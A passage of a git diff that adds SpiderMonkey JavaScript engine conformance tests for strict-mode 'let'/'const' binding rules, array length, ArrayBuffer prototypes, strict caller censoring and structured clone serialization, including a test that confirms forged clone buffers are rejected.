+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode code, 'let' and 'const' declarations may not bind
+ * 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('let eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let x,eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let x,arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const eval = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const x = undefined,eval = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const arguments = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const x = undefined,arguments = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * In strict mode code, 'let' declarations appearing in 'for'
+ * or 'for in' statements may not bind 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('for (let eval in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let [eval] in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let {x:eval} in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let arguments in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let [arguments] in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let {x:arguments} in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_1/strict/8.7.2.js b/js/src/tests/js1_8_1/strict/8.7.2.js
new file mode 100644
index 000000000..8e1d76106
--- /dev/null
+++ b/js/src/tests/js1_8_1/strict/8.7.2.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Check that assignment to a let-bound variable is permitted in both lenient and strict modes. */
+
+/* Assigning to a let-declared variable is okay in strict and loose modes. */
+assertEq(testLenientAndStrict('let let_declared; let_declared=1',
+ completesNormally,
+ completesNormally),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_1/strict/shell.js b/js/src/tests/js1_8_1/strict/shell.js
new file mode 100644
index 000000000..7469bbf94
--- /dev/null
+++ b/js/src/tests/js1_8_1/strict/shell.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+
+/*
+ * Return true if both of these return true:
+ * - LENIENT_PRED applied to CODE
+ * - STRICT_PRED applied to CODE with a use strict directive added to the front
+ *
+ * Run STRICT_PRED first, for testing code that affects the global environment
+ * in loose mode, but fails in strict mode.
+ */
+function testLenientAndStrict(code, lenient_pred, strict_pred) {
+ return (strict_pred("'use strict'; " + code) &&
+ lenient_pred(code));
+}
+
+/*
+ * completesNormally(CODE) returns true if evaluating CODE (as eval
+ * code) completes normally (rather than throwing an exception).
+ */
+function completesNormally(code) {
+ try {
+ eval(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+}
+
+/*
+ * raisesException(EXCEPTION)(CODE) returns true if evaluating CODE (as eval
+ * code) throws an exception object whose prototype is
+ * EXCEPTION.prototype, and returns false if it throws any other error
+ * or evaluates successfully. For example: raises(TypeError)("0()") ==
+ * true.
+ */
+function raisesException(exception) {
+ return function (code) {
+ try {
+ eval(code);
+ return false;
+ } catch (actual) {
+ return exception.prototype.isPrototypeOf(actual);
+ }
+ };
+};
+
+/*
+ * parsesSuccessfully(CODE) returns true if CODE parses as function
+ * code without an error.
+ */
+function parsesSuccessfully(code) {
+ try {
+ Function(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+};
+
+/*
+ * parseRaisesException(EXCEPTION)(CODE) returns true if parsing CODE
+ * as function code raises EXCEPTION.
+ */
+function parseRaisesException(exception) {
+ return function (code) {
+ try {
+ Function(code);
+ return false;
+ } catch (actual) {
+ return exception.prototype.isPrototypeOf(actual);
+ }
+ };
+};
+
+/*
+ * Return the result of applying uneval to VAL, and replacing all runs
+ * of whitespace with a single horizontal space (poor man's
+ * tokenization).
+ */
+function clean_uneval(val) {
+ return uneval(val).replace(/\s+/g, ' ');
+}
diff --git a/js/src/tests/js1_8_1/template.js b/js/src/tests/js1_8_1/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/js1_8_1/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_5/README b/js/src/tests/js1_8_5/README
new file mode 100644
index 000000000..5c4d06046
--- /dev/null
+++ b/js/src/tests/js1_8_5/README
@@ -0,0 +1,4 @@
+JavaScript 1.8.5
+
+Use this suite for tests which require EcmaScript 5 along with features such as
+|let|, |yield|
diff --git a/js/src/tests/js1_8_5/browser.js b/js/src/tests/js1_8_5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/browser.js
diff --git a/js/src/tests/js1_8_5/extensions/array-length-protochange.js b/js/src/tests/js1_8_5/extensions/array-length-protochange.js
new file mode 100644
index 000000000..aeec8e9a2
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/array-length-protochange.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 548671;
+var summary =
+ "Don't use a shared-permanent inherited property to implement " +
+ "[].length or (function(){}).length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a = [1, 2, 3];
+a.__proto__ = null;
+reportCompare("length" in a, true, "length should be own property of array");
+reportCompare(Object.hasOwnProperty.call(a, "length"), true,
+ "length should be own property of array");
+reportCompare(a.length, 3, "array length should be 3");
+
+var a = [], b = [];
+b.__proto__ = a;
+reportCompare(b.hasOwnProperty("length"), true,
+ "length should be own property of array");
+b.length = 42;
+reportCompare(b.length, 42, "should have mutated b's (own) length");
+reportCompare(a.length, 0, "should not have mutated a's (own) length");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/js1_8_5/extensions/arraybuffer-prototype.js b/js/src/tests/js1_8_5/extensions/arraybuffer-prototype.js
new file mode 100644
index 000000000..c61b31776
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/arraybuffer-prototype.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 665961;
+var summary =
+ "ArrayBuffer cannot access properties defined on the prototype chain.";
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+ArrayBuffer.prototype.prop = "on prototype";
+var b = new ArrayBuffer([]);
+assertEq(b.prop, "on prototype");
+
+var c = new ArrayBuffer([]);
+assertEq(c.prop, "on prototype");
+c.prop = "direct";
+assertEq(c.prop, "direct");
+
+assertEq(ArrayBuffer.prototype.prop, "on prototype");
+assertEq(new ArrayBuffer([]).prop, "on prototype");
+
+assertEq(c.nonexistent, undefined);
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/extensions/browser.js b/js/src/tests/js1_8_5/extensions/browser.js
new file mode 100644
index 000000000..fc8ffefac
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/browser.js
@@ -0,0 +1,6 @@
+// The page loaded in the browser is jsreftest.html, which is located in
+// js/src/tests. That makes Worker script URLs resolve relative to the wrong
+// directory. workerDir is the workaround.
+workerDir = (document.location.href.replace(/\/[^/?]*(\?.*)?$/, '/') +
+ 'js1_8_5/extensions/');
+
diff --git a/js/src/tests/js1_8_5/extensions/censor-strict-caller.js b/js/src/tests/js1_8_5/extensions/censor-strict-caller.js
new file mode 100644
index 000000000..8662bebf2
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/censor-strict-caller.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 588251;
+var summary =
+ "fun.caller should throw if that value corresponds to a strict mode " +
+ "function";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function nonstrict() { return nonstrict.caller; }
+function strict() { "use strict"; return nonstrict(); }
+try
+{
+ strict();
+ throw 17;
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError accessing strict mode caller, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/js1_8_5/extensions/clone-complex-object.js b/js/src/tests/js1_8_5/extensions/clone-complex-object.js
new file mode 100644
index 000000000..7a20dbb38
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-complex-object.js
@@ -0,0 +1,313 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Set of properties on a cloned object that are legitimately non-enumerable,
+// grouped by object type.
+var non_enumerable = { 'Array': [ 'length' ],
+ 'String': [ 'length' ] };
+
+// Set of properties on a cloned object that are legitimately non-configurable,
+// grouped by object type. The property name '0' stands in for any indexed
+// property.
+var non_configurable = { 'String': [ 0 ],
+ '(typed array)': [ 0 ] };
+
+// Set of properties on a cloned object that are legitimately non-writable,
+// grouped by object type. The property name '0' stands in for any indexed
+// property.
+var non_writable = { 'String': [ 0 ] };
+
+function classOf(obj) {
+ var classString = Object.prototype.toString.call(obj);
+ var [ all, classname ] = classString.match(/\[object (\w+)/);
+ return classname;
+}
+
+function isIndex(p) {
+ var u = p >>> 0;
+ return ("" + u == p && u != 0xffffffff);
+}
+
+function notIndex(p) {
+ return !isIndex(p);
+}
+
+function tableContains(table, cls, prop) {
+ if (isIndex(prop))
+ prop = 0;
+ if (cls.match(/\wArray$/))
+ cls = "(typed array)";
+ var exceptionalProps = table[cls] || [];
+ return exceptionalProps.indexOf(prop) != -1;
+}
+
+function shouldBeConfigurable(cls, prop) {
+ return !tableContains(non_configurable, cls, prop);
+}
+
+function shouldBeWritable(cls, prop) {
+ return !tableContains(non_writable, cls, prop);
+}
+
+function ownProperties(obj) {
+ return Object.getOwnPropertyNames(obj).
+ map(function (p) { return [p, Object.getOwnPropertyDescriptor(obj, p)]; });
+}
+
+function isCloneable(pair) {
+ return typeof pair[0] === 'string' && pair[1].enumerable;
+}
+
+function compareProperties(a, b, stack, path) {
+ var ca = classOf(a);
+
+ // 'b', the original object, may have non-enumerable or XMLName properties;
+ // ignore them. 'a', the clone, should not have any non-enumerable
+ // properties (except .length, if it's an Array or String) or XMLName
+ // properties.
+ var pb = ownProperties(b).filter(isCloneable);
+ var pa = ownProperties(a);
+ for (var i = 0; i < pa.length; i++) {
+ var propname = pa[i][0];
+ assertEq(typeof propname, "string", "clone should not have E4X properties " + path);
+ if (!pa[i][1].enumerable) {
+ if (tableContains(non_enumerable, ca, propname)) {
+ // remove it so that the comparisons below will work
+ pa.splice(i, 1);
+ i--;
+ } else {
+ throw new Error("non-enumerable clone property " + uneval(pa[i][0]) + " " + path);
+ }
+ }
+ }
+
+ // Check that, apart from properties whose names are array indexes,
+ // the enumerable properties appear in the same order.
+ var aNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ var bNames = pa.map(function (pair) { return pair[1]; }).filter(notIndex);
+ assertEq(aNames.join(","), bNames.join(","), path);
+
+ // Check that the lists are the same when including array indexes.
+ function byName(a, b) { a = a[0]; b = b[0]; return a < b ? -1 : a === b ? 0 : 1; }
+ pa.sort(byName);
+ pb.sort(byName);
+ assertEq(pa.length, pb.length, "should see the same number of properties " + path);
+ for (var i = 0; i < pa.length; i++) {
+ var aName = pa[i][0];
+ var bName = pb[i][0];
+ assertEq(aName, bName, path);
+
+ var path2 = isIndex(aName) ? path + "[" + aName + "]" : path + "." + aName;
+ var da = pa[i][1];
+ var db = pb[i][1];
+ assertEq(da.configurable, shouldBeConfigurable(ca, aName), path2);
+ assertEq(da.writable, shouldBeWritable(ca, aName), path2);
+ assertEq("value" in da, true, path2);
+ var va = da.value;
+ var vb = b[pb[i][0]];
+ stack.push([va, vb, path2]);
+ }
+}
+
+function isClone(a, b) {
+ var stack = [[a, b, 'obj']];
+ var memory = new WeakMap();
+ var rmemory = new WeakMap();
+
+ while (stack.length > 0) {
+ var pair = stack.pop();
+ var x = pair[0], y = pair[1], path = pair[2];
+ if (typeof x !== "object" || x === null) {
+ // x is primitive.
+ assertEq(x, y, "equal primitives");
+ } else if (x instanceof Date) {
+ assertEq(x.getTime(), y.getTime(), "equal times for cloned Dates");
+ } else if (memory.has(x)) {
+ // x is an object we have seen before in a.
+ assertEq(y, memory.get(x), "repeated object the same");
+ assertEq(rmemory.get(y), x, "repeated object's clone already seen");
+ } else {
+ // x is an object we have not seen before.
+ // Check that we have not seen y before either.
+ assertEq(rmemory.has(y), false);
+
+ var xcls = classOf(x);
+ var ycls = classOf(y);
+ assertEq(xcls, ycls, "same [[Class]]");
+
+ // clone objects should have the default prototype of the class
+ assertEq(Object.getPrototypeOf(x), this[xcls].prototype);
+
+ compareProperties(x, y, stack, path);
+
+ // Record that we have seen this pair of objects.
+ memory.set(x, y);
+ rmemory.set(y, x);
+ }
+ }
+ return true;
+}
+
+function check(val) {
+ var clone = deserialize(serialize(val));
+ assertEq(isClone(val, clone), true);
+ return clone;
+}
+
+// Various recursive objects
+
+// Recursive array.
+var a = [];
+a[0] = a;
+check(a);
+
+// Recursive Object.
+var b = {};
+b.next = b;
+check(b);
+
+// Mutually recursive objects.
+var a = [];
+var b = {};
+var c = {};
+a[0] = b;
+a[1] = b;
+a[2] = b;
+b.next = a;
+check(a);
+check(b);
+
+// A date
+check(new Date);
+
+// A recursive object that is very large.
+a = [];
+b = a;
+for (var i = 0; i < 10000; i++) {
+ b[0] = {};
+ b[1] = [];
+ b = b[1];
+}
+b[0] = {owner: a};
+b[1] = [];
+check(a);
+
+// Date objects should not be identical even if representing the same date
+var ar = [ new Date(1000), new Date(1000) ];
+var clone = check(ar);
+assertEq(clone[0] === clone[1], false);
+
+// Identity preservation for various types of objects
+
+function checkSimpleIdentity(v)
+{
+ a = check([ v, v ]);
+ assertEq(a[0] === a[1], true);
+ return a;
+}
+
+var v = new Boolean(true);
+checkSimpleIdentity(v);
+
+v = new Number(17);
+checkSimpleIdentity(v);
+
+v = new String("yo");
+checkSimpleIdentity(v);
+
+v = "fish";
+checkSimpleIdentity(v);
+
+v = new Int8Array([ 10, 20 ]);
+checkSimpleIdentity(v);
+
+v = new ArrayBuffer(7);
+checkSimpleIdentity(v);
+
+v = new Date(1000);
+b = [ v, v, { 'date': v } ];
+clone = check(b);
+assertEq(clone[0] === clone[1], true);
+assertEq(clone[0], clone[2]['date']);
+assertEq(clone[0] === v, false);
+
+// Reduced and modified from postMessage_structured_clone test
+let foo = { };
+let baz = { };
+let obj = { 'foo': foo,
+ 'bar': { 'foo': foo },
+ 'expando': { 'expando': baz },
+ 'baz': baz };
+check(obj);
+
+for (obj of new getTestContent)
+ check(obj);
+
+// Stolen wholesale from postMessage_structured_clone_helper.js
+function getTestContent()
+{
+ yield "hello";
+ yield 2+3;
+ yield 12;
+ yield null;
+ yield "complex" + "string";
+ yield new Object();
+ yield new Date(1306113544);
+ yield [1, 2, 3, 4, 5];
+ let obj = new Object();
+ obj.foo = 3;
+ obj.bar = "hi";
+ obj.baz = new Date(1306113544);
+ obj.boo = obj;
+ yield obj;
+
+ let recursiveobj = new Object();
+ recursiveobj.a = recursiveobj;
+ recursiveobj.foo = new Object();
+ recursiveobj.foo.bar = "bar";
+ recursiveobj.foo.backref = recursiveobj;
+ recursiveobj.foo.baz = 84;
+ recursiveobj.foo.backref2 = recursiveobj;
+ recursiveobj.bar = new Object();
+ recursiveobj.bar.foo = "foo";
+ recursiveobj.bar.backref = recursiveobj;
+ recursiveobj.bar.baz = new Date(1306113544);
+ recursiveobj.bar.backref2 = recursiveobj;
+ recursiveobj.expando = recursiveobj;
+ yield recursiveobj;
+
+ obj = new Object();
+ obj.expando1 = 1;
+ obj.foo = new Object();
+ obj.foo.bar = 2;
+ obj.bar = new Object();
+ obj.bar.foo = obj.foo;
+ obj.expando = new Object();
+ obj.expando.expando = new Object();
+ obj.expando.expando.obj = obj;
+ obj.expando2 = 4;
+ obj.baz = obj.expando.expando;
+ obj.blah = obj.bar;
+ obj.foo.baz = obj.blah;
+ obj.foo.blah = obj.blah;
+ yield obj;
+
+ let diamond = new Object();
+ obj = new Object();
+ obj.foo = "foo";
+ obj.bar = 92;
+ obj.backref = diamond;
+ diamond.ref1 = obj;
+ diamond.ref2 = obj;
+ yield diamond;
+
+ let doubleref = new Object();
+ obj = new Object();
+ doubleref.ref1 = obj;
+ doubleref.ref2 = obj;
+ yield doubleref;
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-errors.js b/js/src/tests/js1_8_5/extensions/clone-errors.js
new file mode 100644
index 000000000..f65578a06
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-errors.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function check(v) {
+ try {
+ serialize(v);
+ } catch (exc) {
+ return;
+ }
+ throw new Error("serializing " + uneval(v) + " should have failed with an exception");
+}
+
+// Unsupported object types.
+check(new Error("oops"));
+check(this);
+check(Math);
+check(function () {});
+check(new Proxy({}, {}));
+
+// A failing getter.
+check({get x() { throw new Error("fail"); }});
+
+// Mismatched scopes.
+for (let [write_scope, read_scope] of [['SameProcessSameThread', 'SameProcessDifferentThread'],
+ ['SameProcessSameThread', 'DifferentProcess'],
+ ['SameProcessDifferentThread', 'DifferentProcess']])
+{
+ var ab = new ArrayBuffer(12);
+ var buffer = serialize(ab, [ab], { scope: write_scope });
+ var caught = false;
+ try {
+ deserialize(buffer, { scope: read_scope });
+ } catch (exc) {
+ caught = true;
+ }
+ assertEq(caught, true, `${write_scope} clone buffer should not be deserializable as ${read_scope}`);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/extensions/clone-forge.js b/js/src/tests/js1_8_5/extensions/clone-forge.js
new file mode 100644
index 000000000..3cdb0ea0d
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-forge.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function assertThrows(f) {
+ var ok = false;
+ try {
+ f();
+ } catch (exc) {
+ ok = true;
+ }
+ if (!ok)
+ throw new TypeError("Assertion failed: " + f + " did not throw as expected");
+}
+
+function byteArray(str) {
+ return str.split('').map(c => c.charCodeAt(0));
+}
+
+// Don't allow forging bogus Date objects.
+var mutated = byteArray(serialize(new Date(NaN)).clonebuffer);
+
+var a = [1/0, -1/0,
+ Number.MIN_VALUE, -Number.MIN_VALUE,
+ Math.PI, 1286523948674.5,
+ Number.MAX_VALUE, -Number.MAX_VALUE,
+ 8.64e15 + 1, -(8.64e15 + 1)];
+for (var i = 0; i < a.length; i++) {
+ var n = a[i];
+ var nbuf = serialize(n);
+ var data = byteArray(nbuf.clonebuffer);
+ for (var j = 0; j < 8; j++)
+ mutated[j+8] = data[j];
+ nbuf.clonebuffer = String.fromCharCode.apply(null, mutated);
+ assertThrows(function () { deserialize(nbuf); });
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/js1_8_5/extensions/clone-leaf-object.js b/js/src/tests/js1_8_5/extensions/clone-leaf-object.js
new file mode 100644
index 000000000..b50b307ba
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-leaf-object.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = [new Boolean(true),
+ new Boolean(false),
+ new Number(0),
+ new Number(-0),
+ new Number(Math.PI),
+ new Number(0x7fffffff),
+ new Number(-0x7fffffff),
+ new Number(0x80000000),
+ new Number(-0x80000000),
+ new Number(0xffffffff),
+ new Number(-0xffffffff),
+ new Number(0x100000000),
+ new Number(-0x100000000),
+ new Number(Number.MIN_VALUE),
+ new Number(-Number.MIN_VALUE),
+ new Number(Number.MAX_VALUE),
+ new Number(-Number.MAX_VALUE),
+ new Number(1/0),
+ new Number(-1/0),
+ new Number(0/0),
+ new String(""),
+ new String("\0123\u4567"),
+ new Date(0),
+ new Date(-0),
+ new Date(0x7fffffff),
+ new Date(-0x7fffffff),
+ new Date(0x80000000),
+ new Date(-0x80000000),
+ new Date(0xffffffff),
+ new Date(-0xffffffff),
+ new Date(0x100000000),
+ new Date(-0x100000000),
+ new Date(1286523948674),
+ new Date(8.64e15), // hard-coded in ES5 spec, hard-coded here
+ new Date(-8.64e15),
+ new Date(NaN)];
+
+function primitive(a) {
+ return a instanceof Date ? +a : a.constructor(a);
+}
+
+for (var i = 0; i < a.length; i++) {
+ var x = a[i];
+ var expectedSource = x.toSource();
+ var expectedPrimitive = primitive(x);
+ var expectedProto = x.__proto__;
+ var expectedString = Object.prototype.toString.call(x);
+ x.expando = 1;
+ x.__proto__ = {};
+
+ var y = deserialize(serialize(x));
+ assertEq(y.toSource(), expectedSource);
+ assertEq(primitive(y), expectedPrimitive);
+ assertEq(y.__proto__, expectedProto);
+ assertEq(Object.prototype.toString.call(y), expectedString);
+ assertEq("expando" in y, false);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/js1_8_5/extensions/clone-many-transferables.js b/js/src/tests/js1_8_5/extensions/clone-many-transferables.js
new file mode 100644
index 000000000..7434a09aa
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-many-transferables.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell) -- requires serialize()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test()
+{
+ // On my system, with an unfixed build where transfer-list processing is
+ // quadratic, 5e5 elements makes this test take ~70s in a shell opt build.
+ // Debug build is well into timeout-land at 300+s. As long as at least *one*
+ // platform times out for a quadratic algorithm, a regression should be
+ // obvious. (Time to run the test in even a debug shell is ~17s, well short
+ // of timing out.)
+ var transfers = [];
+ for (var i = 0; i < 5e5; i++)
+ transfers.push(new ArrayBuffer());
+
+ // If serialization is quadratic in the length of |transfers|, the test will
+ // time out. If the test doesn't time out, it passed.
+ serialize({}, transfers);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-object-deep.js b/js/src/tests/js1_8_5/extensions/clone-object-deep.js
new file mode 100644
index 000000000..685577b92
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-object-deep.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test() {
+ var check = clone_object_check;
+
+ // Invoke with the simple parameter to compile the function before doing
+ // deep clone, on --ion-eager case, to avoid timeout.
+ check({x: null, y: undefined});
+
+ // Try cloning a deep object. Don't fail with "too much recursion".
+ var b = {};
+ var current = b;
+ for (var i = 0; i < 10000; i++) {
+ var next = {};
+ current['x' + i] = next;
+ current = next;
+ }
+ check(b, "deepObject"); // takes 2 seconds :-\
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-object.js b/js/src/tests/js1_8_5/extensions/clone-object.js
new file mode 100644
index 000000000..29a38217a
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-object.js
@@ -0,0 +1,129 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function test() {
+ var check = clone_object_check;
+
+ check({});
+ check([]);
+ check({x: 0});
+ check({x: 0.7, p: "forty-two", y: null, z: undefined});
+ check(Array.prototype);
+ check(Object.prototype);
+
+ // before and after
+ var b, a;
+
+ // Slow array.
+ b = [, 1, 2, 3];
+ b.expando = true;
+ b[5] = 5;
+ b[0] = 0;
+ b[4] = 4;
+ delete b[2];
+ check(b);
+
+ // Check cloning properties other than basic data properties. (check()
+ // asserts that the properties of the clone are configurable, writable,
+ // enumerable data properties.)
+ b = {};
+ Object.defineProperties(b, {
+ x: {enumerable: true, get: function () { return 12479; }},
+ y: {enumerable: true, configurable: true, writable: false, value: 0},
+ z: {enumerable: true, configurable: false, writable: true, value: 0},
+ hidden: {enumerable:false, value: 1334}});
+ check(b);
+
+ // Check corner cases involving property names.
+ b = {"-1": -1,
+ 0xffffffff: null,
+ 0x100000000: null,
+ "": 0,
+ "\xff\x7f\u7fff\uffff\ufeff\ufffe": 1, // random unicode id
+ "\ud800 \udbff \udc00 \udfff": 2}; // busted surrogate pairs
+ check(b);
+
+ b = [];
+ b[-1] = -1;
+ b[0xffffffff] = null;
+ b[0x100000000] = null;
+ b[""] = 0;
+ b["\xff\x7f\u7fff\uffff\ufeff\ufffe"] = 1;
+ b["\ud800 \udbff \udc00 \udfff"] = 2;
+ check(b);
+
+ // An array's .length property is not enumerable, so it is not cloned.
+ b = Array(5);
+ assertEq(b.length, 5);
+ a = check(b);
+ assertEq(a.length, 0);
+
+ b[1] = "ok";
+ a = check(b);
+ assertEq(a.length, 2);
+
+ // Check that prototypes are not cloned, per spec.
+ b = Object.create({x:1});
+ b.y = 2;
+ b.z = 3;
+ check(b);
+
+ // Check that cloning does not separate merge points in the tree.
+ var same = {};
+ b = {one: same, two: same};
+ a = check(b);
+ assertEq(a.one === a.two, true);
+
+ b = [same, same];
+ a = check(b);
+ assertEq(a[0] === a[1], true);
+
+ /*
+ XXX TODO spin this out into its own test
+ // This fails quickly with an OOM error. An exception would be nicer.
+ function Infinitree() {
+ return { get left() { return new Infinitree; },
+ get right() { return new Infinitree; }};
+ }
+ var threw = false;
+ try {
+ serialize(new Infinitree);
+ } catch (exc) {
+ threw = true;
+ }
+ assertEq(threw, true);
+ */
+
+ // Clone an array with holes.
+ check([0, 1, 2, , 4, 5, 6]);
+
+ // Array holes should not take up space.
+ b = [];
+ b[255] = 1;
+ check(b);
+ assertEq(serialize(b).clonebuffer.length < 255, true);
+
+ // Self-modifying object.
+ // This should never read through to b's prototype.
+ b = Object.create({y: 2},
+ {x: {enumerable: true,
+ configurable: true,
+ get: function() { if (this.hasOwnProperty("y")) delete this.y; return 1; }},
+ y: {enumerable: true,
+ configurable: true,
+ writable: true,
+ value: 3}});
+ check(b, "selfModifyingObject");
+
+ // Ignore properties with object-ids.
+ var uri = "http://example.net";
+ b = {x: 1, y: 2};
+ Object.defineProperty(b, Array(uri, "x"), {enumerable: true, value: 3});
+ Object.defineProperty(b, Array(uri, "y"), {enumerable: true, value: 5});
+ check(b);
+}
+
+test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/clone-regexp.js b/js/src/tests/js1_8_5/extensions/clone-regexp.js
new file mode 100644
index 000000000..97f755785
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/clone-regexp.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
